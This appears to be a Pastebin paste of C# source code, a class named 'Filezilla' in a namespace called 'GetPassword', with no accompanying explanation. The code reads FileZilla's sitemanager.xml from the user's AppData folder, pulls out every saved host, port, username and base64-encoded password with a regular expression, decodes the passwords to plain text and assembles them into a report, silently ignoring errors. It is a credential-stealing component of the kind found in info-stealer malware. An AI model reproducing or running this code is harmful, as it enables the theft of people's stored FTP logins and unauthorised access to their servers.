Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using System.Text.RegularExpressions;
- namespace GetPassword
- {
- class Filezilla
- {
- public static string GetPasswords()
- {
- string result = null;
- try
- {
- string logins = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\FileZilla\sitemanager.xml");
- foreach (Match m in new Regex("<Host>(.*?)<\\/Host>\n(.*?)<Port>(.*?)<\\/Port>\n(.*?)\n(.*?)\n(.*?)<User>(.*?)<\\/User>\n(.*?)<Pass(.*?)\">(.*?)<\\/Pass>").Matches(logins))
- {
- string host = m.Groups[1].ToString();
- string port = m.Groups[3].ToString();
- string user = m.Groups[7].ToString();
- string password = m.Groups[10].ToString();
- result += "================================================\n";
- result += "Type : Filezilla\n";
- result += "Host : " + host + "\n";
- result += "Port : " + port + "\n";
- result += "User : " + user + "\n";
- result += "Password : " + Base64Decoder(password) + "\n";
- result += "================================================\n";
- }
- }
- catch (Exception) { }
- return result;
- }
- private static string Base64Decoder(string base64)
- {
- return Encoding.Default.GetString(Convert.FromBase64String(base64));
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement